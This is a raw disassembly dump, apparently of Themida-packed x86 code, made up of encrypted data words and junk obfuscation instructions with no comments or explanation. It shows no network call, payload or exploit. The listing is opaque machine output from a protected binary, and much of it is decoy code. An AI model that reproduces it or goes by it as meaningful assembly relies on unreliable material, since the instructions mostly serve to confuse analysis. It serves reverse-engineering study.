dd 5E900h, 28830000h, 0F9917B3Ch, 3880Fh, 0E7800000h, 0DE85322h
dd 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h, 0BF0F585Ah
dd 0B2D78BF1h, 0F5CE8BDBh, 66D9BF0Fh, 0C380D08Bh, 0B866F5D7h
dd 8E0F3EF1h, 7, 1870Fh, 66FC0000h, 0BE189ABBh, 6D130BBh
dd 0CE9h, 19B88E00h, 85671DBh, 0D882984Dh, 0DE816629h
dd 0BF0F3023h, 0A8B257FEh, 0B1CE8B59h, 0E3B852C7h, 5F739CA4h
dd 0E6D6DA81h, 0F2817F1Fh, 5DC4DBF0h, 78A0Fh, 830F0000h
dd 1, 1860FF8h, 0F5000000h, 0B9D482BAh, 4810F07h, 52000000h
dd 0E85F6160h, 0Fh, 3E671454h, 0E39B2B8Fh, 90DB726Fh, 0E9A5BE9Ch
dd 0Ah, 3B94B6B8h, 884DF861h, 665883BDh, 0BF66D68Bh, 66500A0Eh
dd 5B908FB9h, 0E880Fh, 9E90000h, 53000000h, 283C87EEh
dd 8056B9AFh, 0F6019B2h, 12E9C3B7h, 0FB000000h, 8D140AE6h
dd 25F004h, 0B9053FF1h, 49135C2Ch, 0DE8614Fh, 9E000000h
dd 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh, 665F90B7h, 0D56BF381h
dd 6E8h, 0B9CDF800h, 0E868F324h, 8, 0ED239685h, 333C200Eh
dd 5A5F6160h, 0E966D080h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h
dd 44BE635Fh, 662C322Dh, 0D196E381h, 9E68166h, 0FE844h
dd 0D9980000h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 28B0FA5h
dd 8A000000h, 6E85AEEh, 0EB000000h, 41A00700h, 23CB8043h
dd 80DE8B5Ah, 0F0B2C5F1h, 8E9h, 64136900h, 4A583615h, 11E8CEh
dd 33AE0000h, 99B16D2Fh, 744976ECh, 0A4D634A0h, 0F0C8081h
dd 583h, 0D3816600h, 815B4BB4h, 1763F2E1h, 13E862h, 6390000h
dd 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h, 0F28B6679h
dd 0E9576058h, 0Eh, 2E687471h, 0D4596000h, 0EFF2B25Fh
dd 61588218h, 28F0Fh, 5FB00000h, 0F5CFB70Fh, 0E9D9B70Fh
dd 6, 39B2841Dh, 8B0F56C2h, 5, 2051D2BEh, 0CE909h, 5ECD0000h
dd 2E71141h, 0BC0A9E0Fh, 8E8020Ch, 0BF000000h, 0A12949D5h
dd 8A670B07h, 5E958D5h, 0
dd 0E0664F32h, 71EE80F9h, 12E9h, 0FB343300h, 373BB1Fh
dd 0A96A20ECh, 5DB4D9Dh, 60873A0Dh, 66DEB70Fh, 0A521C681h
dd 2B86661h, 5840F83h, 0BF000000h, 397DBB8Bh, 5E9h, 186BE700h
dd 0BA667C4Eh, 76B88F3Dh, 0B02CAD4Dh, 0AE80Ah, 0E8F20000h
dd 5EC5C0BFh, 28DFAC49h, 11E9h, 879C0700h, 6D05FB0Ah, 0A358555Fh
dd 63CD2A3Dh, 605E29CBh, 666112B1h, 0F5B31BFh, 486h, 0C68A5200h
dd 33CB805Ah, 8BDEB70Fh, 66C4B1DAh, 0E92849BEh, 9, 57A32A73h
dd 6AD6022Ch, 0E981668Fh, 8166CF02h, 604742E1h, 0E3816651h
dd 6159AA63h, 12E9h, 0BFB08F00h, 7A0B3CD8h, 0C0D249ECh
dd 120AACDEh, 0BF62C28Dh, 0EE28E3Eh, 18DF8166h, 0F38B6616h
dd 668BC780h, 0B318D6BBh, 0F780F5D2h, 0FD68B8Fh, 0E9F8F7B7h
dd 0Bh, 0FD67697Fh, 0E07409B1h, 669C075Ch, 0F38BF88Bh
dd 6059FC56h, 59FB8B51h, 12E8h, 0B4BB8200h, 9EB5F692h
dd 93245990h, 8A4C4B87h, 609856C1h, 0B0615E61h, 0DCBA66E3h
dd 9E9F8h, 0BDAA0000h, 9C9A9FFDh, 66C4C1A8h, 890FC18Bh
dd 0
dd 0BE8B7B5h, 17000000h, 82C85B21h, 0C67AA528h, 805F6DD8h
dd 8B6680F0h, 10E8FBh, 0B26A0000h, 0B8EF922Fh, 32967240h
dd 3DDAC975h, 8D0F5F1Bh, 14h, 0FE9h, 15AD5000h, 6D446F45h
dd 43A3F628h, 0F9E0F735h, 571EB65Eh, 6060F958h, 800Fh
dd 810F0000h, 0
; ---------------------------------------------------------------------------
popa
js loc_5D30F6
loc_5D30F3: ; CODE XREF: Themida_:005D3159j
add bl, 21h
loc_5D30F6: ; CODE XREF: Themida_:005D30EDj
popa
jns loc_5D30FE
stc
loc_5D30FE: ; CODE XREF: Themida_:005D30F7j
mov cx, 85F6h
push ebx
mov ch, bh
pop edi
js loc_5D3112
sbb edx, 6CCB3161h
loc_5D3112: ; CODE XREF: Themida_:005D3106j
jmp loc_5D3128
; ---------------------------------------------------------------------------
db 68h
dd 20497A16h, 863241E1h, 0D7C0A1B8h, 53C03D11h
; ---------------------------------------------------------------------------
loc_5D3128: ; CODE XREF: Themida_:loc_5D3112j
pusha
pusha
jmp loc_5D3137
; ---------------------------------------------------------------------------
db 7Fh
dd 0BCDB1E4Ch
db 0EFh, 82h, 95h
; ---------------------------------------------------------------------------
loc_5D3137: ; CODE XREF: Themida_:005D312Aj
pusha
popa
popa
jno loc_5D3146
ja $+6
loc_5D3146: ; CODE XREF: Themida_:005D313Aj
popa
mov ecx, 2812A2CBh
adc edx, 78BCACA6h
loc_5D3152: ; CODE XREF: Themida_:005D315Bj
call sub_5D3168
; ---------------------------------------------------------------------------
push edx
pop es
loop loc_5D30F3
jno short loc_5D3152
daa
adc [ecx], bl
retn
; ---------------------------------------------------------------------------
db 58h, 91h, 4Ah
dd 862EF6FDh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D3168 proc near ; CODE XREF: Themida_:loc_5D3152p
add si, 199Ch
pop edi
clc
jg loc_5D3177
mov ah, 6Bh
loc_5D3177: ; CODE XREF: sub_5D3168+7j
jo loc_5D3180
movsx ecx, cx
loc_5D3180: ; CODE XREF: sub_5D3168:loc_5D3177j
movzx esi, ax
mov bx, 0BD6Fh
mov bx, 0D42Ah
mov si, ax
jmp loc_5D31A3
; ---------------------------------------------------------------------------
db 93h
dd 647E7BCh, 1B0F4575h, 63FA0301h
db 0Eh, 3Eh, 0D0h
; ---------------------------------------------------------------------------
loc_5D31A3: ; CODE XREF: sub_5D3168+26j
mov cx, dx
movzx esi, dx
jmp loc_5D31BF
; ---------------------------------------------------------------------------
dw 0B20Ah
dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h
; ---------------------------------------------------------------------------
mov [esi+54h], gs
loc_5D31BF: ; CODE XREF: sub_5D3168+41j
jmp loc_5D31CE
; ---------------------------------------------------------------------------
dd 4DDA7953h, 0B3B56E2h
; ---------------------------------------------------------------------------
mov ecx, [eax]
loc_5D31CE: ; CODE XREF: sub_5D3168:loc_5D31BFj
mov bh, cl
mov cx, bx
jnb loc_5D31DD
mov di, 0C98Bh
loc_5D31DD: ; CODE XREF: sub_5D3168+6Bj
movsx ebx, cx
call sub_5D31F0
hlt
sub_5D3168 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 7C96h
; ---------------------------------------------------------------------------
mov al, 82h
add [ecx+ebp*2-62h], dh
jl short near ptr dword_5D3268
; =============== S U B R O U T I N E =======================================
sub_5D31F0 proc near ; CODE XREF: sub_5D3168+78p
add ch, 91h
pop esi
mov eax, 6C6CD037h
mov dl, 94h
movsx ecx, bx
mov eax, esi
add cl, 30h
jmp loc_5D3217
; ---------------------------------------------------------------------------
dd 664E82FEh, 0F479A5F1h, 0E7008B23h
db 4Bh, 6Ch, 7Eh
; ---------------------------------------------------------------------------
loc_5D3217: ; CODE XREF: sub_5D31F0+13j
call sub_5D3224
or eax, [ebx+5271075h]
xchg eax, ecx
insd
sub_5D31F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D3224 proc near ; CODE XREF: sub_5D31F0:loc_5D3217p
mov esi, 4FA74184h
pop ecx
jnp near ptr loc_5D323B+4
call near ptr loc_5D323B+1
and ebp, [ecx-5Dh]
pop esp
cmp ch, dh
loc_5D323B: ; CODE XREF: sub_5D3224+Cp
; sub_5D3224+6j
or [edx-179FA6E2h], dh
sub_5D3224 endp ; sp-analysis failed
or [eax], eax
; ---------------------------------------------------------------------------
db 0
dd 69CB2300h, 3714A43Bh, 8166DF73h, 5F7755D7h, 7E961h
dd 0F94B0000h, 2D7EED53h, 66BB6671h, 128F0F66h
dword_5D3268 dd 0E9000000h, 0Dh, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h
; CODE XREF: Themida_:005D31EEj
dd 60C38B70h, 1BBB8ABEh, 0D781661Ah, 0BE610029h, 5CC52E3Bh
dd 5890Fh, 15BA0000h, 0E970EDA5h, 0Bh, 3C74251Ch, 629BBC07h
dd 0F0F2415h, 800FF8B7h, 19h, 14E9h, 97CBB100h, 95915D4Dh
dd 5E4C3F62h, 2F9D03F2h, 5B8DF5B7h, 5870F94h, 66000000h
dd 8572DF81h, 0BE9h, 95A77900h, 0CD5292D8h, 96123D9Bh
dd 28B0Fh, 0EC8A0000h, 8E9F98Bh, 0C6000000h, 0F29BF47h
dd 66E2133Fh, 0EE9C18Bh, 75000000h, 24650D3Eh, 0AE4850DFh
dd 882DDFD7h, 3830F9Dh, 66000000h, 0B960D08Bh, 1D6FE14Eh
dd 9E9h, 1B29C00h, 0B9B47874h, 0FC61E55Dh, 0E9D88B66h
dd 0Bh, 5EBC9CEEh, 0BB5662A2h, 0FFCCA38h, 328Fh, 13E800h
dd 641F0000h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh, 9838096Dh
dd 13E887h, 9B2C0000h, 57E11EF2h, 0C80E45EAh, 5C5D065Fh
dd 109415D2h, 0F58584Ch, 8166DBB7h, 53253AC6h, 0AE8h, 7BC3300h
dd 0B9E1A83Ch, 0E9C31480h, 0Eh, 1A7B6F82h, 99003DD1h, 0DEC3B78Dh
dd 5858850Dh, 7BCD8056h, 81D88B5Bh, 94AEDAF1h, 0EE81663Dh
dd 880F3F22h, 13h, 0EE9h, 0D984F200h, 0E723F0D2h, 0DDEC6EB4h
dd 66FBA50Bh, 0B57BC181h, 0AE8h, 458F7800h, 92C40451h
dd 6612F3E6h, 5B754CB8h, 10E8h, 0DBBA3300h, 5079B958h
dd 0DA49202h, 11C08B63h, 7E950h, 0EF990000h, 4B9916B9h
dd 10E9586Eh, 74000000h, 0B43798Ah, 0E66E0E13h, 720D4DC7h
dd 0BFDA2821h, 1A6A0159h, 30D98160h, 610D6A17h, 8820Fh
dd 0F510000h, 81h, 81665F00h, 66CDEADEh, 0BE20D281h, 10E951h
dd 0DB880000h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh, 6659655Ah
dd 0DA51EE81h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h
dd 0BACC11A4h, 0AAF24F9Eh, 80DB80BBh, 6820Fh, 0C6810000h
dd 65A00507h, 60F8E2B7h, 38E0Fh, 0B70F0000h, 68E0FD9h
dd 0F000000h, 85h, 8B606100h, 0F561F8FBh, 0BE860h, 83090000h
dd 0F699CB73h, 6C7ECAA2h, 1AF78143h, 592FD7ECh, 14E9h
dd 8A8500h, 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h
dd 0BE666152h, 0C4808E1Fh, 0EA80FC81h, 0F5E5712h, 387h
dd 0F7BF0F00h, 0FE9h, 5A7BAF00h, 4A1F8468h, 0B79EF21Bh
dd 5858C49Ah, 0FE9h, 885E6200h, 12084594h, 9E9F21B3h, 8D9B3D5Ah
dd 0B6C7B70Fh, 0F78B663Ch, 51D7BF0Fh, 8ED18151h, 5903B93Dh
dd 0F9B70F5Fh, 0CE9FCh, 0A91B0000h, 5AAA0B8Ch, 0A7A8D2A1h
dd 9E9149Ah, 43000000h, 0F94E3F54h, 369C378h, 0C280D38Ah
dd 3BC48038h, 12E9h, 0C5615E00h, 7144C325h, 80A7FEC9h
dd 0F014CF32h, 66DEFB95h, 0F3F6F281h, 66F9C080h, 66EFADBBh
dd 4ED0D181h, 0E8605E56h, 0Dh, 356E2F1Eh, 0EB061534h, 0B4B8035Fh
dd 11E979h, 0EF930000h, 0ED1DA093h, 0C7D2298h, 3219B1EDh
dd 5FF385CEh, 0BADDB160h, 5F5F9D1Bh, 0BE666161h, 66F9912Ah
dd 5E8CE8Bh, 15000000h, 4865194Ah, 4C88BA66h, 16E7815Fh
dd 661AF3C9h, 8B66F18Bh, 70D980C7h, 2836D981h, 0D6806E85h
dd 0E89AB55Ah, 6, 0F15927D4h, 5FFCA3B6h, 0DD681FCh, 666C1C10h
dd 19BBC28Bh, 0E943FB61h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8064844Fh
dd 0F180ADE7h, 5E805h, 9420000h, 806A8AE7h, 0E9590AD9h
dd 13h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 66D183C7h
dd 66761ABAh, 0AEB2DE81h, 7AF18166h, 15DF8108h, 0BB06F382h
dd 5F909BC3h, 58F0Fh, 0D9BB0000h, 0F169FB3h, 68Bh, 0FAE88100h
dd 8B385964h, 7FC480D8h, 60C78060h, 61C0BF0Fh, 0D0D2D981h
dd 9FB925BDh, 0E86FB3E0h, 13h, 0AC94416Bh, 0EC1ABC78h
dd 0F2FA90E9h, 0A6E544A7h, 665CF0E5h, 0D734DF81h, 188C0F5Eh
dd 0F000000h, 128Eh, 0DE900h, 29E60000h, 0FA1ABA90h, 0FF1CE034h
dd 0FB1F70Ch, 8Bh, 0AE800h, 0AECC0000h, 0B16D2F33h, 4976EC99h
dd 5EE5C680h, 3ED68157h, 5A7CE144h, 811EC380h, 2791E9C0h
dd 0BE95Ah, 364D0000h, 25C1EB80h, 2B235447h, 11E9AFh, 5DC80000h
dd 97CEF4BEh, 0AE9575D6h, 4D20C59Ah, 0E80043C0h, 6, 89DAFD86h
dd 820F98B9h, 5, 0F2D18166h, 0BF605E32h, 647DE109h, 86F78166h
dd 0EE96150h, 88000000h, 273B62F9h, 0C613A3C6h, 0CB5C8487h
dd 0FB8B6610h, 0A23CC381h, 0EE90557h, 48000000h, 0E7D8F0A1h
dd 0F2432A13h, 7B860776h, 0E18166E3h, 0C88BB761h, 81C8B70Fh
dd 0AC79CFE7h, 6E857h, 5B830000h, 0DAEDEF2h, 58DA8B66h
dd 358BF781h, 8B66697Dh, 0A8A6BAFBh, 850F6BACh, 15h, 10E9h
dd 0DF1DCA00h, 3507BB53h, 475AC8A3h, 2026003h, 0D3B9665Ch
dd 88EA805Ah, 0DA8BCA8Ah, 0E837F181h, 0FF94DE9h, 180h
dd 880FF800h, 0Dh, 8E9h, 0DB4E7100h, 4CEBDD8Ch, 28B8662Ah
dd 0ECB8522Fh, 5B406997h, 0E8FEB70Fh, 0Dh, 43C463B8h, 67F9F7E4h
dd 6E19C58Dh, 830F50FFh, 0
; ---------------------------------------------------------------------------
pop eax
pop ebx
movzx esi, cx
mov di, 0CDE7h
cld
jmp loc_5D3823
; ---------------------------------------------------------------------------
db 73h
dd 3B27168Fh, 3C35668Ah
; ---------------------------------------------------------------------------
imul byte ptr [edi]
push ss
loc_5D3823: ; CODE XREF: Themida_:005D3812j
jmp loc_5D3831
; ---------------------------------------------------------------------------
sbb edx, [esp+edi]
daa
icebp
mov ah, 0
mov dh, 0ACh
loc_5D3831: ; CODE XREF: Themida_:loc_5D3823j
add ecx, 55A9CB2Ah
stc
mov ecx, 1F75564Fh
adc bh, 0Ah
movzx esi, cx
mov ch, bl
mov di, 0CDB3h
stc
jle loc_5D3854
mov si, 0D5C4h
loc_5D3854: ; CODE XREF: Themida_:005D384Aj
adc dx, 95A1h
mov al, 74h
mov si, 0EF7Ch
mov di, 3FEFh
jmp loc_5D387C
; ---------------------------------------------------------------------------
dd 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 0CF239854h, 6FE9D5DFh
; ---------------------------------------------------------------------------
loc_5D387C: ; CODE XREF: Themida_:005D3863j
clc
sub ebx, 79EB7457h
pusha
jmp loc_5D3898
; ---------------------------------------------------------------------------
adc ebp, edi
adc edx, [edx-2A4496B5h]
mov ebp, 0E9D700Eh
adc [esi], ah
loc_5D3898: ; CODE XREF: Themida_:005D3884j
jge loc_5D38B6
jmp loc_5D38B6
; ---------------------------------------------------------------------------
db 12h
dd 7DFB6239h, 0F06712Bh, 7C0C16D2h, 561D4B46h
db 4Ch, 27h
; ---------------------------------------------------------------------------
loc_5D38B6: ; CODE XREF: Themida_:loc_5D3898j
; Themida_:005D389Ej
popa
add bx, 4E6Fh
mov bl, 1Ch
mov eax, 4E82E98Ah
mov esi, 56EB81A8h
pusha
mov edx, 1CE97C46h
jge loc_5D38D6
push ecx
pop edi
loc_5D38D6: ; CODE XREF: Themida_:005D38CEj
popa
mov si, cx
clc
stc
mov bx, 7866h
mov si, 0CD8Ch
movzx eax, si
mov al, ch
jb loc_5D38F3
mov cx, 7F4Ah
loc_5D38F3: ; CODE XREF: Themida_:005D38E9j
mov ax, 785Dh
mov dl, 88h
cld
mov bh, 39h
mov si, 0B57Ah
sbb edx, 27133ACh
and bx, 0E8E1h
adc bl, 90h
sbb ebx, 44D61B05h
jge loc_5D391D
movsx ecx, si
loc_5D391D: ; CODE XREF: Themida_:005D3914j
mov edx, eax
mov ax, 4439h
pusha
call near ptr sub_5D3939
; ---------------------------------------------------------------------------
db 0C4h, 0FBh, 0Fh
; ---------------------------------------------------------------------------
jno short loc_5D3950
sbb al, 0A1h
jl short near ptr loc_5D3932+5
loc_5D3932: ; CODE XREF: Themida_:005D3930j
sbb [eax+71C22267h], bl
pop ds
; =============== S U B R O U T I N E =======================================
sub_5D3939 proc far ; CODE XREF: Themida_:005D3924p
push ecx
pop edi
pop esi
jnb loc_5D3944
pusha
popa
loc_5D3944: ; CODE XREF: sub_5D3939+3j
popa
pusha
pusha
jmp loc_5D395F
; ---------------------------------------------------------------------------
dd 0A2FC473Dh
; ---------------------------------------------------------------------------
loc_5D3950: ; CODE XREF: Themida_:005D392Cj
dec eax
mov al, 1Eh
xlat
iret
; ---------------------------------------------------------------------------
db 0E3h, 83h, 0CDh
dd 87022FA2h
; ---------------------------------------------------------------------------
adc dl, 0B1h
loc_5D395F: ; CODE XREF: sub_5D3939+Ej
mov ecx, 0E7C7271h
popa
jle loc_5D3970
sbb di, 8B09h
loc_5D3970: ; CODE XREF: sub_5D3939+2Cj
popa
mov eax, edi
jmp loc_5D397E
; ---------------------------------------------------------------------------
cmp ecx, [edx+ebx+1Ch]
stc
dec esi
loc_5D397E: ; CODE XREF: sub_5D3939+3Aj
jmp loc_5D398C
; ---------------------------------------------------------------------------
db 10h
dd 75F39FECh, 4038A100h
; ---------------------------------------------------------------------------
loc_5D398C: ; CODE XREF: sub_5D3939:loc_5D397Ej
cld
sbb al, 5
and cx, 0D238h
jmp loc_5D39A8
; ---------------------------------------------------------------------------
or eax, 522869C6h
sti
lea edx, [ecx-4FAE265Bh]
add edx, ecx
loc_5D39A8: ; CODE XREF: sub_5D3939+5Cj
sub dl, 33h
mov edi, 7E2ACC92h
pusha
js loc_5D39C2
jmp loc_5D39C2
; ---------------------------------------------------------------------------
dd 2E607F77h
db 48h, 2Ch
; ---------------------------------------------------------------------------
loc_5D39C2: ; CODE XREF: sub_5D3939+78j
; sub_5D3939+7Ej
jnb loc_5D39E1
jmp loc_5D39E1
; ---------------------------------------------------------------------------
db 5, 59h, 87h
dd 59310C61h, 0D0B4410Bh, 0F2E1D366h, 3B2EE53Ch
db 0E3h
; ---------------------------------------------------------------------------
loc_5D39E1: ; CODE XREF: sub_5D3939:loc_5D39C2j
; sub_5D3939+8Fj
popa
xor ch, 0FDh
jmp loc_5D39FB
; ---------------------------------------------------------------------------
dw 0B1EDh
dd 85CE3219h, 0FD8CFBF3h, 918B5298h
db 0BBh, 7Dh, 6Bh
; ---------------------------------------------------------------------------
loc_5D39FB: ; CODE XREF: sub_5D3939+ACj
adc eax, 493B447Eh
mov ch, 4
push ecx
or ecx, 2E6532F4h
pop edi
mov edi, 1CE18EF2h
jnz loc_5D3A27
jmp loc_5D3A27
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
sub bl, [ebp-28h]
retf 0C91Ch
; ---------------------------------------------------------------------------
dw 2973h
db 0BBh, 95h, 14h
; ---------------------------------------------------------------------------
loc_5D3A27: ; CODE XREF: sub_5D3939+D7j
; sub_5D3939+DDj
mov ax, di
or ecx, 7DEDBBF2h
add cx, 0F177h
pusha
push ecx
push ebx
pop eax
pop ecx
jns loc_5D3A45
add bx, 1D69h
loc_5D3A45: ; CODE XREF: sub_5D3939+101j
popa
mov cx, di
movzx ebx, ax
sbb edi, 3FBEF0EAh
mov ah, 0FAh
jmp loc_5D3A65
; ---------------------------------------------------------------------------
db 0BBh, 2Bh, 47h
; ---------------------------------------------------------------------------
or bh, [ebx-9A99884h]
push ecx
push edi
pop edx
loc_5D3A65: ; CODE XREF: sub_5D3939+11Bj
mov esi, 5B6BB01Dh
pusha
mov esi, ebx
mov esi, 705E0EB7h
popa
mov edi, edx
loc_5D3A75: ; CODE XREF: Themida_:005D3A90j
call near ptr loc_5D3A8A+3
jecxz short near ptr loc_5D3A8A+2
db 65h
mov edx, esi
adc al, 0F5h
int 3 ; Trap to Debugger
fiadd word ptr [eax-5EAEA77Dh]
lahf
push ds
loc_5D3A8A: ; CODE XREF: sub_5D3939+141j
; sub_5D3939:loc_5D3A75p
test ds:0CB816650h, al
sub_5D3939 endp ; sp-analysis failed
jo short loc_5D3A75
pop ecx
jle loc_5D3A9C
xor al, 1Ch
loc_5D3A9C: ; CODE XREF: Themida_:005D3A93j
pusha
mov dx, bx
sbb dx, 0A3A6h
popa
push ebx
adc si, 3866h
pop esi
jmp loc_5D3AC5
; ---------------------------------------------------------------------------
dw 6B8Ah
dd 0B5876DFDh, 7EC0B275h, 509AAB8Ah, 9BC1493Dh
db 31h
; ---------------------------------------------------------------------------
loc_5D3AC5: ; CODE XREF: Themida_:005D3AADj
sbb ah, 3Fh
mov ch, 96h
jmp loc_5D3AE0
; ---------------------------------------------------------------------------
db 0CDh
dd 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah
; ---------------------------------------------------------------------------
loc_5D3AE0: ; CODE XREF: Themida_:005D3ACAj
mov ebx, edx
jmp loc_5D3AFB
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
retn 6A82h
; ---------------------------------------------------------------------------
db 0F3h
dd 491C4A56h, 90EC53A2h, 0E527B007h
db 0A7h, 0F1h, 34h
; ---------------------------------------------------------------------------
loc_5D3AFB: ; CODE XREF: Themida_:005D3AE2j
jg loc_5D3B0D
pusha
and di, 3200h
mov ecx, 2C4983A2h
popa
loc_5D3B0D: ; CODE XREF: Themida_:loc_5D3AFBj
sub dh, 0EEh
movzx edi, dx
mov di, ax
pusha
xor edx, 41B8D7B5h
jmp loc_5D3B27
; ---------------------------------------------------------------------------
dw 6B12h
db 0A5h, 1Bh, 67h
; ---------------------------------------------------------------------------
loc_5D3B27: ; CODE XREF: Themida_:005D3B1Dj
popa
mov eax, esi
jmp loc_5D3B3C
; ---------------------------------------------------------------------------
push cs
cmc
mov gs, [esi+66h]
xchg eax, ecx
dec eax
fstp1 st(6)
retf
; ---------------------------------------------------------------------------
pop edx
pop eax
sahf
loc_5D3B3C: ; CODE XREF: Themida_:005D3B2Aj
mov ebx, 466F8F6Dh
mov ecx, edi
mov esi, edx
pusha
jnz loc_5D3B52
jo $+6
loc_5D3B52: ; CODE XREF: Themida_:005D3B46j
popa
or dl, 70h
pusha
mov bh, 35h
popa
movsx edx, ax
adc cl, 0AEh
movsx edi, di
jz loc_5D3B6B
mov bh, 78h
loc_5D3B6B: ; CODE XREF: Themida_:005D3B63j
call sub_5D3B80
sbb ebp, ebp
setalc
arpl dx, cx
mov ch, 3Ah
pop ds
loopne loc_5D3BCB
sbb [edx-26F17BD7h], edx
; =============== S U B R O U T I N E =======================================
sub_5D3B80 proc near ; CODE XREF: Themida_:loc_5D3B6Bp
mov ebx, eax
pop ebx
call loc_5D3B94
popa
pop esp
rol dword ptr ss:[ecx-7Eh], 1
cmpsd
adc al, 68h
into
retn
sub_5D3B80 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
loc_5D3B94: ; CODE XREF: sub_5D3B80+3p
mov al, 0D2h
pop edx
push edx
cld
pop esi
mov ecx, eax
mov bl, al
mov edi, ebx
stc
jmp loc_5D3BB5
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
mov dh, 15h
rcl cl, 1
wait
and [edi+5Fh], esi
aas
mov ds:97343FDAh, eax
loc_5D3BB5: ; CODE XREF: Themida_:005D3BA1j
jp loc_5D3BBD
mov dl, cl
loc_5D3BBD: ; CODE XREF: Themida_:loc_5D3BB5j
mov dx, 5BFh
movsx edx, si
jmp near ptr loc_5D3BD9+4
; ---------------------------------------------------------------------------
db 82h, 55h
; ---------------------------------------------------------------------------
loc_5D3BCB: ; CODE XREF: Themida_:005D3B78j
insd
scasd
xor al, 7
in al, 0BBh ; Interrupt Controller #2, 8259A
mov bh, 0B6h
xchg eax, ecx
cmp al, dl
jp short loc_5D3C1C
loc_5D3BD9: ; CODE XREF: Themida_:005D3BC4j
and byte ptr [ecx-7E99C6D6h], 0D7h
cmp ah, [ebx]
jno loc_5D3BEE
ja $+6
loc_5D3BEE: ; CODE XREF: Themida_:005D3BE2j
cld
jmp loc_5D3BFE
; ---------------------------------------------------------------------------
dd 9B6A7AF1h, 0A1835700h
; ---------------------------------------------------------------------------
sbb [edx], eax
loc_5D3BFE: ; CODE XREF: Themida_:005D3BEFj
mov ax, 0A86Dh
pusha
mov eax, edx
call loc_5D3C13
enter 0FFFFF215h, 0C8h
mov bl, 57h
cld
sal ch, cl
loc_5D3C13: ; CODE XREF: Themida_:005D3C05p
jmp near ptr loc_5D3C1F+3
; ---------------------------------------------------------------------------
dd 16544C3Dh
; ---------------------------------------------------------------------------
loc_5D3C1C: ; CODE XREF: Themida_:005D3BD7j
dec esi
mov dl, 8Bh
loc_5D3C1F: ; CODE XREF: Themida_:loc_5D3C13j
xor [esi-459EA6CCh], ebx
jp short near ptr loc_5D3C53+2
db 26h
or eax, 0C6BF0F51h
pop ecx
or cx, 6FECh
pusha
jle loc_5D3C3D
movsx ebx, cx
loc_5D3C3D: ; CODE XREF: Themida_:005D3C34j
popa
adc dx, 0AD6Ah ; CODE XREF: Themida_:005D3C59j
movsx ecx, di
sub edx, 0B6B689h
mov edi, 43E08036h
mov dl, 3Fh
loc_5D3C53: ; CODE XREF: Themida_:005D3C25j
call near ptr loc_5D3C64+3
pop esi
loopne near ptr loc_5D3C3E+3
rcl ecx, 1
stosb
cwde
test eax, 52F60973h
loc_5D3C64: ; CODE XREF: Themida_:loc_5D3C53p
sub [edi+esi*2-45h], eax
db 2Eh
fdiv st, st(4)
xor [edi-17h], ebx
adc eax, [eax]
; ---------------------------------------------------------------------------
dd 49170000h, 634505Bh, 0D8320B94h, 7A00C839h, 45114F13h
dd 9E9A3h, 0E6010000h, 91559EE0h, 8B915EDDh, 8B0F51F8h
dd 19h, 13E8h, 88514100h, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h
dd 0A89C9A9Fh, 0E9505B5Ah, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh
dd 0DF91E776h, 0D4693A27h, 860F605Bh, 1, 0E08061F5h, 0BE8F815h
dd 0A1000000h, 7C00BAF6h, 68206FAh, 0E953955Ah, 12h, 0E46FE55Fh
dd 2BCC5063h, 2468FAE6h, 0DB41C830h, 5B59E699h, 1A07B966h
dd 0F38BCA8Bh, 2890Fh, 0C68B0000h, 8A0FC68Ah, 4, 6622BF66h
dd 11E8h, 31EE1500h, 964EF26Bh, 9A03FE6h, 57994A95h, 850F8052h
dd 2, 0E8585A51h, 5, 444681Ah, 0DE989h, 0D81B0000h, 5D1F0DA8h
dd 0DCCB883Bh, 5B1D41B2h, 12E9h, 3E87600h, 5410ECD3h, 631970CAh
dd 0E9E17837h, 81A526B3h, 60DC22C0h, 1D8F0F5Ah, 0F000000h
dd 178Ah, 12E900h, 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh
dd 0A6F5162Dh, 0E8F18B66h, 9, 98551F55h, 0ADD2643Ah, 60F8600Fh
dd 505A6161h, 5EF98B66h, 8E8D88Bh, 42000000h, 0FC79DD7Ah
dd 603DEBECh, 61C28B66h, 11E95Ah, 0E34B0000h, 0FA67209Fh
dd 0ACE45AFFh, 8B00BF28h, 0E80DEA6Fh, 0Fh, 3D7AA206h, 8459307Bh
dd 0EFD5DDBEh, 0FD8A3C5h, 583h, 0EA85B900h, 60597B8Dh
dd 59C3BB66h, 14E961h, 0EE420000h, 1171DC20h, 8C641CF7h
dd 6B08D4F4h, 0A41BC4FBh, 0EE99D74h, 0D0000000h, 0F18DDB95h
dd 6B867782h, 26214889h, 3ABF66CBh, 0DBB70F0Ch, 9E9C18Bh
dd 5B000000h, 3EB516EDh, 0D68D7E4Dh, 66F7BF0Fh, 0F52FBAB9h
dd 81E9BA66h, 8E9h, 0B2276700h, 0B7E72C2Ah, 12E8BDh, 64D70000h
dd 70C4F2D9h, 90AF4933h, 4B567200h, 0EDE4E18Dh, 5870Fh
dd 81660000h, 599666F7h, 0F63CF80h, 8Bh, 0F2816600h, 0EB8A6F89h
dd 0BECB8B66h, 699D2B7Eh, 6651D68Bh, 0D374D981h, 0E95E515Fh
